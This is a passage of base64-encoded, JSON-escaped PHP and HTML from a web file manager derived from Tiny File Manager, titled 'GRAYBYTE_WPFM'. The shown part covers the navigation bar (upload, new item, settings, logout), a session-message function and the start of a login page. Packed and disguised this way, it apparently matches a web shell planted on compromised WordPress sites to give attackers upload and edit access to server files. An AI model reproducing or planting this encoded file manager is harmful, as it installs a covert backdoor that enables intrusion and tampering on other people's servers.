ICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgIC